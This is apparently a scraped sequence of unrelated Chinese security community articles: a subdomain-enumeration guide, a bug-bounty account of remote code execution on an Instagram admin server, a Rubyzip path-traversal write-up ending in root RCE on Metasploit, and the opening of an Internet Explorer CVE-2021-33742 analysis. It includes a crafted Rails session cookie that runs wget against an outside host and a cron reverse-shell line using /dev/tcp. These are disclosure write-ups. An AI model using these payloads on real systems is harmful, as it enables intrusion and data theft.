spray的方式进行漏洞利用时，没有找到合适的内核结构进行堆喷射，目的的是泄露特定函数地址并对特定结构体进行定位，在后续中会对linux kernel
spray利用方式进行研究。
reference:
1. <https://www.eet-china.com/mp/a38145.html>
2. <https://blog.eadom.net/writeups/0ctf-2018-zerofs-writeup/>
**了解更多相关信息，请关注公众号“墨云安全”，关注更智能的网络攻防。** | 社区文章 |
原文链接：https://blog.appsecco.com/a-penetration-testers-guide-to-sub-domain-enumeration-7d842d5570f6
## 前言
作为一名渗透测试人员，或者说一个漏洞赏金猎人，一般情况下，当您进行安全测试时，您将获得一个或一组域名。您必须进行广泛的信息搜集，以找到有用的信息，如服务器，Web应用程序，属于目标组织的域等，从而增加您找到漏洞的机会。
我们撰写了一篇关于技术博文(<https://blog.appsecco.com/open-source-intelligence-gathering-101-d2861d4429e3>) ，这些技术通常用于信息搜集阶段。
子域名探测是信息搜集阶段的重要组成部分，这篇博文以简洁明了的方式介绍了各种子域名探测技术。
这篇博文的后续内容将用gitbook的形式发布，内容将涉及我们对这些技术的深入介绍。我们在2017年Bugcrowd
LevelUp会议上发表的"Esoteric子域名探测技术"(<https://github.com/appsecco/bugcrowd-levelup-subdomain-enumeration>) 演讲中介绍了一些技巧。
除了本博文中的内容之外，我们还发布了一本gitbook，其中涵盖了更多技术：gitbook -子域名探测的艺术(<https://appsecco.com/books/subdomain-enumeration/>)
## 什么是子域名探测？
子域名探测是查找一个或多个域的子域名的过程。这是信息搜集阶段的重要组成部分。
## 为什么要进行子域名探测？
* 子域名探测可以帮我们发现渗透测试中更多的服务，这将增加发现漏洞的可能性
* 查找一些用户上较少，被人遗忘的子域名，其上运行的应用程序可能会使我们发现关键漏洞
* 通常，同一组织的不同域名/应用程序中存在相同的漏洞
著名的`Yahoo! Voices hack`就是因为其在yahoo.com子域名上部署了易受攻击的应用程序
## 子域名探测技术
1.Google和Bing等搜索引擎支持各种高级搜索运算符来优化搜索查询：
* 我们可以在Google搜索中使用 `site:`运算符来查找一个域的所有子域名。谷歌还额外支持减号运算符`site:*.wikimedia.org -www -store -jobs -uk`以排除我们不感兴趣的子域名
Bing搜索引擎也支持一些高级搜索运算符。与Google一样，Bing也支持`site:`运算符，可以帮助您检查除Google搜索之外的其他结果。
2.有许多第三方服务提供大量的DNS数据，可以用其检索给定域名的子域名
* VirusTotal会运行DNS复制功能，通过存储用户访问URL时执行的DNS解析来构建数据库。要检索子域名的信息，您只需将域名放在搜索栏中即可
* DNSdumpster是另一个有趣的工具，可以找到给定域名的大量潜在子域名
Sublist3r(<https://github.com/aboul3la/Sublist3r>)
是一个非常热门的工具，它可以用来探测各种子域名。Sublist3r使用许多搜索引擎（如Google，Yahoo，Bing，Baidu和Ask）进行子域名探测。Sublist3r还使用Netcraft，Virustotal，ThreatCrowd，DNSdumpster和ReverseDNS进行子域名探测。
3.证书透明（CT）是证书颁发机构（CA）必须将其发布的每个SSL/TLS证书发布到公共日志的项目。SSL/TLS证书通常包含域名，子域名和电子邮件地址。这使他们成为攻击者的宝库。我在关于证书透明的知识上写了一系列技术文章，我已经深入介绍了这个技术，你可以在这里(<https://blog.appsecco.com/certificate-transparency-the-bright-side-and-the-dark-side-8aa47d9a6616>) 阅读这个系列。
查找为域颁发的证书的最简单方法是使用收集CT日志的搜索引擎，下面列出了一些比较受欢迎的链接：
<https://crt.sh/>
<https://censys.io/>
<https://developers.facebook.com/tools/ct/>
<https://google.com/transparencyreport/https/ct/>
除了Web界面之外，crt.sh还可以使用postgres界面访问CT日志数据。这使得运行一些高级查询变得简单而灵活。如果您安装了PostgreSQL客户端软件，则可以按如下方式登录：
$ psql -h crt.sh -p 5432 -U guest certwatch
我们编写了一些脚本来简化使用CT日志搜索引擎查找子域名的过程。这些脚本可以在我们的github
repo中找到`https://github.com/appsecco/the-art-of-subdomain-enumeration`
使用CT进行子域名探测的缺点是CT日志中找到的域名可能不存在，因此无法解析为IP地址。您可以将massdns(<https://github.com/blechschmidt/massdns>)
等工具与CT日志结合使用，以快速识别可解析的域名。
# ct.py - extracts domain names from CT Logs(shipped with massdns)
# massdns - will find resolvable domains & adds them to a file
./ct.py icann.org | ./bin/massdns -r resolvers.txt -t A -q -a -o -w icann_resolvable_domains.txt -
4.基于字典的子域名枚举是另一种发现子域名的方式。DNSRecon(<https://github.com/darkoperator/dnsrecon>)
是一个功能强大的DNS枚举工具，它的功能之一是使用预定义的列表进行基于字典的子域名探测。
$ python dnsrecon.py -n ns1.insecuredns.com -d insecuredns.com -D subdomains-top1mil-5000.txt -t brt
5.置换扫描是另一个有趣的技术来识别子域名。在该技术中，我们使用已知域/子域名的排列组合来识别新的子域名。
$ python altdns.py -i icann.domains -o data_output -w icann.words -r -s results_output.txt
6.查找自治系统(AS)号码(<https://www.iana.org/assignments/as-numbers>)
将帮助我们识别属于组织的网络块，而该组块又可能具有有效域。
* 使用`dig`或`host`解析给定域的IP地址
* 有一些工具可以根据给定IP地址找到ASN-`[asn.cymru.com/cgi-bin/whois.cgi](https://asn.cymru.com/cgi-bin/whois.cgi)`
* 有一些工具可以根据给定域名的情况下找到ASN-`[bgp.he.net/](http://bgp.he.net/)`
* 找到的ASN号码可用于查找域的网络块。有Nmap脚本可以实现这一目的-`[nmap.org/nsedoc/scripts/targets-asn.html](https://nmap.org/nsedoc/scripts/targets-asn.html)`
$ nmap --script targets-asn --script-args targets-asn.asn=17012 > netblocks.txt
7.域传送是一种DNS事务，DNS服务器将其全部或部分域文件的副本传递给另一个DNS服务器。如果未安全地配置域传输送，则任何人都可以对指定名称的服务器启动域传送并获取域文件的副本。根据设计，域文件包含有关域和保存在域中的大量主机信息。
$ dig +multi AXFR @ns1.insecuredns.com insecuredns.com
8.由于DNSSEC处理不存在域名的方式，您可以"遍历"DNSSEC域并枚举该域中的所有域名。您可以从这里(<https://info.menandmice.com/blog/bid/73645/Take-your-DNSSEC-with-a-grain-of-salt>) 了解有关此技术的更多信息。
* 对于使用NSEC记录的DNSSEC域，可以使用ldns-walk(<https://www.nlnetlabs.nl/projects/ldns/about/>) 等工具进行探测
$ ldns-walk @ns1.insecuredns.com insecuredns.com
* 一些DNSSEC域使用NSEC3做记录，该记录使用散列域名来防止攻击者收集纯文本域名。攻击者可以收集所有子域名hash值并将hash值离线破解。
* 像nsec3walker(<https://dnscurve.org/nsec3walker.html>) ，nsec3map(<https://github.com/anonion0/nsec3map>) 这样的工具帮助我们自动收集NSEC3 hash并破解hash。安装nsec3walker后，可以使用以下命令枚举受NSEC3保护的域名的子域名
# Collect NSEC3 hashes of a domain
$ ./collect icann.org > icann.org.collect
# Undo the hashing, expose the sub-domain information.
$ ./unhash < icann.org.collect > icann.org.unhash
# Listing only the sub-domain part from the unhashed data
$ cat icann.org.unhash | grep "icann" | awk '{print $2;}'
del.icann.org.
access.icann.org.
charts.icann.org.
communications.icann.org.
fellowship.icann.org.
files.icann.org.
forms.icann.org.
mail.icann.org.
maintenance.icann.org.
new.icann.org.
public.icann.org.
research.icann.org.
9.有些项目收集了全互联网范围内的扫描数据，并将其提供给研究人员和安全社区。该项目发布的数据集是子域名信息的宝库。虽然在这个庞大的数据集中找到子域名就像大海捞针，但却值得我们去一试。
* Forward DNS(<https://scans.io/study/sonar.fdns_v2>) 数据集作为Project Sonar的一部分发布。数据格式是通过gzip压缩的JSON文件。我们可以解析数据集以查找给定域名的子域名。数据集很大(压缩后：20+GB，压缩前：300+GB）
# Command to parse & extract sub-domains for a given domain
$ curl -silent https://scans.io/data/rapid7/sonar.fdns_v2/20170417-fdns.json.gz | pigz -dc | grep ".icann.org" | jq
## 子域名探测技术 - 比较
我们针对icann.org运行了一些讨论过的子域名探测技术并对结果进行了比较。下面的条形图显示了不同探测技术为icann.org找到的可解析的子域名数量。
## 子域名探测 - 参考
我们为子域名探测技术的工具和源创建了一个简单的参考列表。这个列表是使用Github
gist创建的：`https://gist.github.com/yamakira/2a36d3ae077558ac446e4a89143c69ab`
## 子域名探测 - 参考
### 搜索引擎
谷歌(<https://google.com/>)
Bing(<https://bing.com/>)
### DNS信息搜集
VirusTotal(<https://www.virustotal.com/>)
ViewDNS(<https://viewdns.info/>)
DNSdumpster(<https://dnsdumpster.com/>)
Threatcrowd(<https://www.threatcrowd.org/>)
### 证书透明日志
<https://crt.sh/>
<https://censys.io/>
<https://developers.facebook.com/tools/ct/>
<https://google.com/transparencyreport/https/ct/>
### 工具
Sublister(<https://github.com/aboul3la/Sublist3r>)
Altdns(<https://github.com/infosec-au/altdns>)
massdns(<https://github.com/blechschmidt/massdns>)
enumall(<https://github.com/jhaddix/domain>)
DNSRecon(<https://github.com/darkoperator/dnsrecon>)
Domain analyzer(<https://github.com/eldraco/domain_analyzer>)
XRay(<https://github.com/evilsocket/xray>)
Aquatone(<https://github.com/michenriksen/aquatone>)
ldns-walk(<https://www.nlnetlabs.nl/projects/ldns/>)
NSEC3 walker(<https://dnscurve.org/nsec3walker.html>)
### 数据来源
Project Sonar(<https://sonar.labs.rapid7.com/>)
Certificate Transparency logs(<https://www.certificate-transparency.org/known-logs>)
## 参考
<https://github.com/appsecco/bugcrowd-levelup-subdomain-enumeration>
<https://blog.appsecco.com/open-source-intelligence-gathering-101-d2861d4429e3>
<https://www.databreaches.net/hackers-post-450k-credentials-apparently-pilfered-from-yahoo/>
<http://info.menandmice.com/blog/bid/73645/Take-your-DNSSEC-with-a-grain-of-salt>
<https://www.peerlyst.com/posts/bsideslv-2017-breaking-ground-with-underflow-bsides-las-vegas> | 社区文章 |
> 原文地址：<http://exfiltrated.com/research-Instagram-RCE.php>
# 0x00 前言
2012年，Blloberg在Facebook白帽子奖励计划的网站上发表了一片著名的文章，文章中提到：“如果Facebook出了价值百万美刀的漏洞,我们也愿意照单全付”。在本文开始之前，我想为骗点击量的文章标题向各位道个歉，不过Facebook之前放的豪言是我写这篇文章的重要背景。经过一番尝试和努力，我确实发现了一个价值百万美刀的Instagram漏洞，该漏洞可以用来获取Instagram的源代码，照片和SSL证书等。
# 0x01 绝佳线索
去年，我曾对Facebook的安全性进行过一些小的测试，也取得了一些成果，所以我对于深入测试Facebook的整体业务安全性有着十分浓厚的兴趣。发现这个漏洞其实也要感谢我所在的公司能够允许我在非工作时间查找其他公司的漏洞，要不然根本没有这篇文章了。事情是这样的，我的一个朋友前段时间和我提到，他们正在测试作为Facebook漏洞奖励计划重要组成成分的Ins系统的安全性。他们发现Instagram存在一台有漏洞的Ruby服务器([https://sensu.instagram.com](https://sensu.instagram.com/))，我的朋友告诉我，这个漏洞已经被他提交到Facebook漏洞响应团队，漏洞分类是“内部管理后台对外”。在他向Facebook中提交的报告中提到，该后台可能存在一个Ruby密码重置漏洞由此可以被黑客利用登录进入后台，不过他并没有成功印证他的猜测。看到这个漏洞细节的第一眼，我就想起了CVE-2013-3221（<http://ronin-ruby.github.io/blog/2013/01/28/new-rails-poc.html>），不过鉴于他已经提交了这个漏洞，所以我朋友只是私下里让我帮他看看是不是能够深入利用这个线索，扩大漏洞影响，接触Instagram的核心数据。
# 0x02 Ruby(Rails)远程命令执行
基于之前朋友的漏洞报告细节，我尝试着查找可以重置这个Ruby应用密码的漏洞。不过初步的测试效果并不理想，一般的登录页面并不接受数值“0”作为密码，而且我也不知道要用什么办法才能发送一封密码重置邮件。我发现，Instagram的这个后台可能是用了开源的Sensu管理系统，于是我谷歌了关键词“Sensu-Admin”，但是一无所获。看起来，貌似我朋友的推测并不行。
不过惊喜的是，我发现了这个应用在Github上面有源代码，在该项目的目录中，我发现了`secret_token.rb`中泄露了Rails的私钥。我第一反应是，Facebook的程序员不会傻到把在搭建自己后台应用的时候不更改私钥吧？不过我还是想试试，因为如果尝试成功的话，那我就可以伪造seesion
cookies，然后登陆后台了。我前面也提到CVE-2013-3221（<http://ronin-ruby.github.io/blog/2013/01/28/new-rails-poc.html>），这篇文章的作者指出，不仅仅cookies可以被伪造，而且因为Ruby
Rails的反序列化漏洞，攻击者甚至可以直接构造远程代码执行攻击。
在尝试反序列化漏洞测试Instagram这个业务之前，我首先在本地进行了测试，我是用了下面这个测试框架：
<https://github.com/charliesome/charlie.bz/blob/master/posts/rails-3.2.10-remote-code-execution.md>
结果出人意料的好，我成功在本地复现了漏洞。所以，我使用相同的步骤，结合刚刚在Github上的发现，我向Instagram的Sensu-Admin管理后台服务器发送了如下的cookie:
_sensu-admin_session=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQc6DkBpbnN0YW5jZW86CEVSQgY6CUBzcmNJIkFldmFsKCdzeXN0ZW0oIndnZXQgaHR0cDovL2V4ZmlsdHJhdGVkLmNvbS90ZXN0LWluc3RhZ3JhbSIpJykGOgZFVDoMQG1ldGhvZDoLcmVzdWx0--92c614a28526d03a1a31576bf4bb4c6026ef5e1f
通过精心构造的cookie，Instagram的服务器成功执行了我发送的代码，解密开来就是这样：
`"wget http://exfiltrated.com/test-instagram"`
所以，我建立了一个监听端口，然后上传了一个远程shell文件，结果如下：
成功让Instagram服务器执行了我发送的命令代码以后，我把该漏洞报告给了Facebook团队。我在报告中提到：
1. Facebook使用的“Sensu-Admin”服务使用了网络上公开的私钥
2. sensu.instagram.com正运行着Rails 3.X版本，该版本存在一个远程代码执行漏洞。
# 0x03 致命弱口令
* * *
其实，对于我来说，发现一个远程代码执行来说并不是什么大不了的激动人心的事情。但是我想确认一下，我是否还在Facebook漏洞奖励计划的范围内，于是我又去查看了Facebook的漏洞奖励计划说明，说明中提到，虽然Facebook极力反对在测试中可能对业务进行破坏的渗透行为，不过响应团队对，如果测试者明确自己可以接触到更加核心的数据非常感兴趣。嗯，看到这里，我觉得我自己的渗透测试行为还在Facebook授权许可的范围内。
上一章提到，我虽然成功让Facebook的服务器执行了远程代码，获取了服务器的Shell，但是我并没有接触到该后台的UI界面。碰巧的是，Instagram的这个后台把管理用户数据存储在了同一台服务器的Postgres
DB内，既然这样，手起刀落，我成功获取了该后台大约60个账户的用户名和密码。不过，很悲催的是，密码被加密了，我正在蛋疼如何解密这些数据呢，好消息就来了。我短时间内就破解出了12个弱口令，这些密码包括"changme","password","instagram"。我的天！赤果果的弱口令啊。所以，我成功登录了[https://sensu.instagram.com](https://sensu.instagram.com/)
的后台界面，截图留念：
因为Facebook极力反对在测试中可能对业务进行破坏的渗透行为，所以我就截图留念走人，顺手把这个作为新漏洞提交给了Facebook应急响应团队。
# 0x04 渗透内网
* * *
在我第一次的漏洞报告邮件中，我询问了Facebook团队是否能够获取渗透内网的授权。因为，这台Sensu-Admin服务器是跑在EC2上面的，在etc/host/文件夹内可以看到大大小小1400个系统的记录。所以这也就意味着，我有很大可能可以攻入Instagram内网。
不过，Facebook并不没有给我一个明确的答复。而且，他们在短时间内做出了响应，限制了外网对[https://sensu.instagram.com](https://sensu.instagram.com/)
的访问。所以，到底渗透内网继续下去会有哪些收获，就永远成为一个谜团了。
# 0x05 金钥匙
* * *
其实渗透到现在这步，我对我之前整个渗透过程感到很满意了。我已经发现了三个确凿的Instagram漏洞，其中有两个我打包提交给了Facebook。当然，故事到这里并没有结束。我在渗透sensu.Instagram.com的时候，发现了服务器下存在这样一个文件:
`/etc/sensu/config.json`
这个配置文件中包含了数据库和其他一些服务的验证凭证。凭证包括一个Email账户和一堆Pagerduty
key。当然，我把视线重点放在了同样在文件中列出的AWS key-pair上，我觉得这是下一个渗透突破点。
AWS
keys可以用作登录许多不同AWS业务的凭证，但我关注的重点是，这些keys能否用于登录亚马逊S3云存储服务，如果可以登录的话，就表示大量敏感数据可以被获取。在这个配置文件中，我发现了82个不同的云存储区域。不过，直接访问这些云存储区域，被服务器阻断了。我只能看到这些云存储区域的名字，但是不能获取到具体内容。不过有一个例外，那就是，一个名autoscale-kitchen的区块。
看到autoscale-kitchen两个单词时，我的第一反应是，这是一台开发服务器。我在服务器上找到了一个名`为autoscale-kitchen-latest.tar.gz`的服务安装配置文件，以及其之前的迭代版本。我首先查找了最新版的配置文件里面是否有敏感信息泄露，结果大失所望。接着我又查找了几个更早的版本，幸运的是，我在一个旧版本中找到了一个名为Vagrant的配置文件，在配置文件中我找到了Instagram的EC2
key-pair。
手起刀落，我使用刚刚找到的key-pair成功连接上了Instagram d的S3云存储服务，并且这次，我可以获取到每一个区块的具体内容！！
# 0x06 掌控帝国
* * *
有了浏览Instagram存储在亚马逊S3云存储服务上数据的权限后，我浏览下载了几个区块中的内容。
第二天，我开始查看从云存储服务上下载的数据，我发现这些数据中包含了用户上传的图片，发送的文字等内容。因为Facebook漏洞奖励计划对侵犯用户敏感数据的行为做出了限制规定，所以我停止了对用户数据的更进一步的渗透。不过，我敢肯定，如果继续下去获取的数据肯定更为劲爆，更多敏感的数据可以被获取。
我使用AWS keypair从其他多个区块中获取了以下信息:
Instagram.com的统计数据，多个后台的源代码，当然更为劲爆的是，还有SSL证书和大量私钥，涉及`instagram.com`，`*.instagram.com`和Instagram在其他网络服务的私密API接口，毫不夸张地说，现在我已经具有能力对Instagram上面任何一位用户进行任何操作的权利。
于是，我再一次向Facebook提交了包含大大小小7个不同安全问题的报告，主要包括:
1. 通过AWS证书，任何未被授权的用户可以登录进入sensu管理系统
2. AWS存储区块存储着访问其他区块的证书，被用以提权攻击。
3. 敏感数据间没有做隔离，导致一个AWS keys就可以访问所有S3区块。
4. AWS keys可以被外网IP登录，如果攻击者完全有能力清除服务器日志，达到攻击后无法查找到具体攻击者的目的。
# 0x07 后记
* * *
最后，我想用一张思维导图总结一下我此次渗透进入Instagram帝国的过程:
其实整件事情的起因是，sensu.instagram.com的远程代码执行，从这个漏洞，我又发掘出了后台员工的弱口令。通过sensu.instagram.
com服务器上的配置文件，我又获取了AWS keypair，使用这keypair，我又从S3云存储服务器上读取到了EC2 AWS
keypair。使用这个keypair我读取到了instagram存储在S3云存储服务上的所有重要敏感数据。
整个渗透测试过程，暴露出了Facebook在安全体系建设上的大量缺陷，是我惊讶的是，在安全体系建设了这么多年以后，竟然还会出现许多低级的安全和规范问题。可见，安全攻防，还会朝着更为纵深的方向持续。 | 社区文章 |
原文：<https://blog.doyensec.com/2019/04/24/rubyzip-bug.html>
* * *
### 前言
在最近的一次项目中，我们有机会测试Ruby-on-Rails
Web程序，该程序使用[Rubyzip](https://github.com/Rubyzip/Rubyzip)
gem来处理zip文件。Zip文件其实是触发多种漏洞的绝佳入口点，例如路径遍历，符号链接文件覆盖攻击等等。由于目标库关闭了符号链接处理程序，因此我们着重于挖掘路径遍历漏洞。
这篇博文主要讨论我们研究的结果结论，这个“Bug”是从库本身的找到的。我们将会演示这个bug在一个流行软件上的应用——[Metasploit](https://blog.rapid7.com/2019/04/19/metasploit-wrap-up-13/)。
### 关于Rubyzip的一些漏洞
Rubyzip库曾多次爆出通过恶意文件名而造成的路径遍历漏洞（[1](https://github.com/Rubyzip/Rubyzip/issues/315)，[2](https://github.com/Rubyzip/Rubyzip/issues/369)）。其中2的代码修复（PR:[#376](https://github.com/Rubyzip/Rubyzip/pull/376)）非常有意思，开发者使用了另一种不同的处理方法。
# Extracts entry to file dest_path (defaults to @name).
# NB: The caller is responsible for making sure dest_path is safe,
# if it is passed.
def extract(dest_path = nil, &block)
if dest_path.nil? && !name_safe?
puts "WARNING: skipped #{@name} as unsafe"
return self
end
[...]
其中的`Entry#name_safe`函数的[定义](https://github.com/Rubyzip/Rubyzip/blob/master/lib/zip/entry.rb#L112)如下：
# Is the name a relative path, free of `..` patterns that could lead to
# path traversal attacks? This does NOT handle symlinks; if the path
# contains symlinks, this check is NOT enough to guarantee safety.
def name_safe?
cleanpath = Pathname.new(@name).cleanpath
return false unless cleanpath.relative?
root = ::File::SEPARATOR
naive_expanded_path = ::File.join(root, cleanpath.to_s)
cleanpath.expand_path(root).to_s == naive_expanded_path
end
从上面代码中可以发现，如果目标路径传递给`Entry#extract`函数，那么路径实际不会检测。往下翻阅，源代码中的一个注释也暗示了用户的责任：
> NB: 如果（路径）必须得传递，那么调用者有必要确保目标路径是安全的。
虽然`Entry#name_safe`函数勉强可以防御住路径遍历攻击（和绝对路径），但该函数只有它被调用时没有携带参数才会起作用。
为了验证这个bug，我们使用老（但很好用）的[evilarc](https://github.com/ptoomey3/evilarc)生成一个包含Poc的ZIP文件，并且使用下面这段代码提取出恶意文件：
require 'zip'
first_arg, *the_rest = ARGV
Zip::File.open(first_arg) do |zip_file|
zip_file.each do |entry|
puts "Extracting #{entry.name}"
entry.extract(entry.name)
end
end
$ ls /tmp/file.txt
ls: cannot access '/tmp/file.txt': No such file or directory
$ zipinfo absolutepath.zip
Archive: absolutepath.zip
Zip file size: 289 bytes, number of entries: 2
drwxr-xr-x 2.1 unx 0 bx stor 18-Jun-13 20:13 /tmp/
-rw-r--r-- 2.1 unx 5 bX defN 18-Jun-13 20:13 /tmp/file.txt
2 files, 5 bytes uncompressed, 7 bytes compressed: -40.0%
$ ruby Rubyzip-poc.rb absolutepath.zip
Extracting /tmp/
Extracting /tmp/file.txt
$ ls /tmp/file.txt
/tmp/file.txt
结果很明显，我们最终可以创建/tmp/file.txt，这验证了的确存在Bug。
正如上面这台客户端一样，大部分开发者都会升级到[Rubyzip
1.2.2](https://nvd.nist.gov/vuln/detail/CVE-2018-1000544)，并且相信它足够安全，却没有实际了解该库是如何工作的以及代码的一些特殊用法。
### 脆弱性
在我们的Web应用中，用户上传的zip文件经过下面这段（伪）代码解压的：
def unzip(input)
uuid = get_uuid()
# 0. create a 'Pathname' object with the new uuid
parent_directory = Pathname.new("#{ENV['uploads_dir']}/#{uuid}")
Zip::File.open(input[:zip_file].to_io) do |zip_file|
zip_file.each_with_index do |entry, index|
# 1. check the file is not present
next if File.file?(parent_directory + entry.name)
# 2. extract the entry
entry.extract(parent_directory + entry.name)
end
end
Success
end
在#0项中，我们可以看到一个名为`Pathname`的对象被创建，然后在#2项中被套用为解压的目标路径。然而， **对象** 和 **字符串**
的加法运算并不是像开发者想的那么简单，而这将导致一些未知行为。
OK，我们先在IRB shell中简单理解一下它的行为：
$ irb
irb(main):001:0> require 'pathname'
=> true
irb(main):002:0> parent_directory = Pathname.new("/tmp/random_uuid/")
=> #<Pathname:/tmp/random_uuid/>
irb(main):003:0> entry_path = Pathname.new(parent_directory + File.dirname("../../path/traversal"))
=> #<Pathname:/path>
irb(main):004:0> destination_folder = Pathname.new(parent_directory + "../../path/traversal")
=> #<Pathname:/path/traversal>
irb(main):005:0> parent_directory + "../../path/traversal"
=> #<Pathname:/path/traversal>
由于`Pathname`对`../`的处理，传给Rubyzip`Entry#extract`函数的内容中不会包含目录遍历的payload，该函数错误地将其视为安全路径。并且后续Ruby
gem也不会验证是否安全，因此攻击者不需要考虑其他可能的错误。
### 任意文件写入到Ruby on Rails RCE
除了一些通常的*nix和windows的特定方法（例如编写新的cronjob或自定义脚本）外，我们对如何利用这个bug造成RoR （Ruby on
Rails）有关应用的RCE非常感兴趣。
目标程序运行在真实的生产环境，而且RoR classes是通过 _cache_classes_
直接进行[首次缓存](https://guides.rubyonrails.org/autoloading_and_reloading_constants.html#autoload-paths-and-eager-load-paths)。我们无法注入加载任意代码，因为写入文件必须重启ROR应用。
然而，我们在本地环境中进行了验证：结合拒绝服务漏洞和和web应用全路径披露，使得web服务器重启，从而成功利用ZIP文件处理的缺陷实现RCE。
Ruby on
Rails官方[文档](https://guides.rubyonrails.org/v2.3/configuring.html#using-initializers)描述如下：
>
> 在加载框架以及应用中其他的gem和插件后，Rails将开始加载初始化设定。初始化设定是存储在/config/initializers下的任意ruby文件。用户可以使用初始化设置来保存加载完所有框架和插件之后的配置。
利用这个功能，经过授权的攻击者可以写入恶意`.rb`文件到`/config/initializers`文件夹，并且会在web服务器重启后自动加载。
### 攻击黑客——Metasploit RCE
我们经过客户的验证准许后，结束了这次渗透测试，我们开始搜寻一些可能受到Rubyzip bug影响的流行软件。最后，我们选择了[Metasploit
Framework](https://www.metasploit.com/)。
查看程序源码，我们迅速认出几个Rubyzip库用于创建ZIP的源码文件。漏洞源于`extract`函数，这让我想起了Metasploit允许从老版本的MSF或者其他实例中导入ZIP的功能。我们在[zip.rb](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/db_manager/import/metasploit_framework/zip.rb)中找到了相应的代码块，该块代码负责导入ZIP文件：
data.entries.each do |e|
target = ::File.join(@import_filedata[:zip_tmp], e.name)
data.extract(e,target)
对于这个Rubyzip的例子，我们创建一个包含路径遍历payload的ZIP文件，然后将其嵌入到某个有效的MSF工作空间（一个包含扫描输出结果的XML文件），从而可能获取文件写入权限。由于解压缩是由`root`用户完成，因此我们通过以下几个步骤可以轻松获取最高权限远程代码执行：
* 创建一个包含以下内容的文件：`* * * * * root /bin/bash -c "exec /bin/bash 0</dev/tcp/172.16.13.144/4444 1>&0 2>&0 0<&196;exec 196<>/dev/tcp/172.16.13.144/4445; bash <&196 >&196 2>&196"`
* 使用evilarc将路径遍历payload嵌入到ZIP文件中
* 为ZIP文件添加一个有效的MSF工作区（使MSF提取它，否则ZIP存档不会被处理）
* 设置两个监听端口：4444和4445（4445用于获取反向shell）
* 登入MSF应用后台
* 创建新“项目”
* 选择“导入”，“选择文件”，选取恶意ZIP文件，点击“导入”按钮
* 导入完成后，Getshell
攻击演示视频：<https://blog.doyensec.com/public/images/msf-zip-bug.mp4>
### 小结
如果你正在使用`Rubyzip`库，请检查你使用它的场景，并且为`Entry#extract`函数调用添加对名称和目标路径额外的验证。
下面是不同使用场景的小概述（`Rubyzip v1.2.2`以前）：
如果你正在使用Metasploit，请更新到最新版。我们非常期待CVE-2019-5624会出现在msf模块中。
### 学习与参考
这个Bug的研究归功于：[@voidsec](https://twitter.com/void_sec)和[@polict](https://twitter.com/polict_)。
如果你对这个漏洞主题感兴趣，请查阅以下资源：
* [Rubyzip库](https://github.com/Rubyzip/Rubyzip)
* [Ruby on Rails指南](https://guides.rubyonrails.org/)
* [攻击Ruby on Rails应用](http://www.phrack.org/issues/69/12.html)
* [1997便携式BBS黑客攻击](http://www.phrack.org/issues/50/3.html)
* [Evilarc工具概述] (<https://labs.neohapsis.com/2009/04/21/directory-traversal-in-archives/>) | 社区文章 |
**作者：天融信阿尔法实验室
原文链接：<https://mp.weixin.qq.com/s/nfPm0B2Z9dTodsw-VTUxpQ>**
## 1 漏洞背景
2021年07月14日Google威胁分析团队(TAG：Threat Analysis Group)发布了一篇标题为"How We Protect
Users From 0-Day
Attacks"的文章。这篇文章公布了2021年Google威胁分析团队发现的4个在野利用的0day漏洞的详细信息。Google
Chrome中的CVE-2021-21166和CVE-2021-30551，Internet Explorer中的CVE-2021-33742和Apple
Safari中的CVE-2021-1879。
2021年4月，TAG发现了一项针对亚美尼亚用户的攻击活动，该活动通过恶意的Office文档调用Internet
Explorer加载远程的恶意Web页面来利用Internet
Explorer渲染引擎中的一个漏洞进行攻击。该恶意文档通过使用Shell.Explorer.1
OLE对象嵌入远程ActiveX对象或通过VBA宏生成Internet
Explorer进程并导航到恶意网页来实现攻击。此攻击中使用的漏洞被分配为CVE-2021-33742，并于2021年6月由Microsoft修复。
微软计划将于2022年6月停用Internet Explorer 11，用微软推出的新版本浏览器Microsoft
Edge来替代它。为了兼容旧网站，Microsoft Edge内置了Internet Explorer模式。按理说，继续研究Internet
Explorer漏洞，不再有较大意义，但是今年还是发生了多个Internet Explorer
0day漏洞在野利用的攻击事件，例如：CVE-2021-26411、CVE-2021-40444，所以研究Internet
Explorer漏洞，还是存在一定的意义。
本文要分析的漏洞是存在于Trident渲染引擎/排版引擎中的一个漏洞。如今，在最新版的Windows11中，依旧可以看到Trident渲染引擎(mshtml.dll)和EdgeHTML渲染引擎(edgehtml.dll)的身影。Trident是Internet
Explorer使用的排版引擎。它的第一个版本随着1997年10月发布的Internet Explorer
4发布，之后不断的加入新的技术并随着新版本的Internet Explorer发布。在Trident7.0(Internet Explorer
11使用)中，微软对Trident排版引擎做了重大的变动，除了加入新的技术之外，并增加了对网页标准的支持。EdgeHTML是由微软开发并用于Microsoft
Edge的专有排版引擎。该排版引擎是Trident的一个分支，但EdgeHTML移除所有旧版Internet
Explorer遗留下来的代码，并重写主要的代码以和其他现代浏览器的设计精神互通有无。
在Google威胁分析团队发布了上面所说的那篇文章之后，又在Google Project Zero的博客上公布了这些漏洞的细节。本文章就是对Internet
Explorer中的CVE-2021-33742漏洞的分析过程的一个记录。我之前分析过老版本的Internet
Explorer的漏洞，这是第一次比较正式的分析新版本Internet Explorer的漏洞，如有错误和不足之处，还望见谅。
## 2 漏洞简介
CVE-2021-33742是存在于Internet
Explorer的Trident渲染引擎(mshtml.dll)中的一个堆越界写漏洞。这个漏洞是由于通过JavaScript使用DOM
innerHTML属性对内部html元素设置内容(包含文本字符串)时触发的。通过innerHTML属性修改标签之间的内容时，会造成IE生成的DOM树/DOM流的结构发生改变，IE会调用CSpliceTreeEngine类的相关函数对IE的DOM树/DOM流的结构进行调整。当调用CSpliceTreeEngine::RemoveSplice()去删除一些DOM树/DOM流结构时，恰好这些结构中包含文本字符串时，就有可能会造成堆越界写。
## 3 分析环境
| 使用的环境 | 备注
---|---|---
操作系统 | Windows 10 1809 Pro x64 Windows 10 Enterprise LTSC 2019 x64 |
版本号1：10.0.17763.864(Updated Nov 2019) 版本号2：10.0.17763.316(Updated March 2019)
调试器 | WinDbg | 版本号:v10.0.16299.15(x64)
反汇编器 | IDA Pro | 版本号:7.5
漏洞软件 | Internet Explorer | 版本号: 11.864.17763.0 更新版本：11.0.160(KB4525106)
漏洞模块 | mshtml.dll | 版本号1：11.0.17763.831(逆向) 版本号2：11.0.17763.1911(补丁前)
版本号3：11.0.17763.1999(补丁后)
### 3.1 提取漏洞模块
